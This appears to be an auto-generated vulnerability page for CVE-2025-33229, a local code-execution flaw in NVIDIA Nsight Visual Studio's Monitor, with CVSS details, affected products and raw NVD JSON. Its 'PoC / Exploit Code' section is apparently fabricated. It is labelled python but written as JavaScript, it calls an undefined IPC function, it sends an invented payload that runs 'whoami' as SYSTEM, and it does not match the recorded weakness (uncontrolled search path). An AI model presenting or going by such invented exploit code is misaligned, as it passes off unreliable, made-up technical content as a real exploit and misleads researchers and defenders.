Security Vulnerability Report
中文
CVE-2025-33229 CVSS 7.3 HIGH

CVE-2025-33229

Published: 2026-01-20 18:16:03
Last Modified: 2026-02-02 16:07:31

Description

NVIDIA Nsight Visual Studio for Windows contains a vulnerability in Nsight Monitor where an attacker can execute arbitrary code with the same privileges as the NVIDIA Nsight Visual Studio Edition Monitor application. A successful exploit of this vulnerability may lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Nsight Visual Studio Edition 2024.x (all versions prior to patch)
NVIDIA Nsight Visual Studio Edition 2023.x (if still supported)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-33229 PoC - NVIDIA Nsight Monitor Privilege Escalation // Note: This is a conceptual PoC for educational purposes only // Attack Vector: Exploit NVIDIA Nsight Monitor via local privilege escalation // Required: Low-privilege user access + user interaction // Step 1: Identify vulnerable Nsight Monitor process const targetProcess = 'Nsight.Monitor.exe'; const vulnerableVersion = '<= 2024.x'; // Specific version not publicly disclosed // Step 2: Create malicious payload targeting Monitor's IPC mechanism function createExploitPayload() { // Construct command to be executed in Monitor's context const payload = { type: 'monitor_command', action: 'execute_external', command: 'cmd.exe /c whoami > C:\\temp\\pwned.txt', privilege_level: 'SYSTEM' }; return JSON.stringify(payload); } // Step 3: Trigger vulnerability through user interaction function triggerVulnerability(targetProcess) { // Attempt to send malicious IPC message to Monitor const exploitPayload = createExploitPayload(); // Exploit relies on insufficient validation in Monitor's // command processing pipeline sendIPCMessage(targetProcess, exploitPayload); } // Step 4: Verify privilege escalation function verifyEscalation() { const result = readFile('C:\\temp\\pwned.txt'); return result.includes('NT AUTHORITY\\SYSTEM'); } // Mitigation: Update to patched version from NVIDIA console.log('NVIDIA Nsight Monitor CVE-2025-33229 Exploit Concept'); console.log('Update to latest version to remediate this vulnerability');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33229", "sourceIdentifier": "[email protected]", "published": "2026-01-20T18:16:02.500", "lastModified": "2026-02-02T16:07:30.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Nsight Visual Studio for Windows contains a vulnerability in Nsight Monitor where an attacker can execute arbitrary code with the same privileges as the NVIDIA Nsight Visual Studio Edition Monitor application. A successful exploit of this vulnerability may lead to escalation of privileges, code execution, data tampering, denial of service, and information disclosure."}, {"lang": "es", "value": "NVIDIA Nsight Visual Studio para Windows contiene una vulnerabilidad en Nsight Monitor donde un atacante puede ejecutar código arbitrario con los mismos privilegios que la aplicación NVIDIA Nsight Visual Studio Edition Monitor. Un exploit exitoso de esta vulnerabilidad puede conducir a escalada de privilegios, ejecución de código, manipulación de datos, denegación de servicio y revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:cuda_toolkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.1.0", "matchCriteriaId": "6D53794E-E526-471B-94F5-F9BCC26C1BC1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33229", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5755", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33229", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}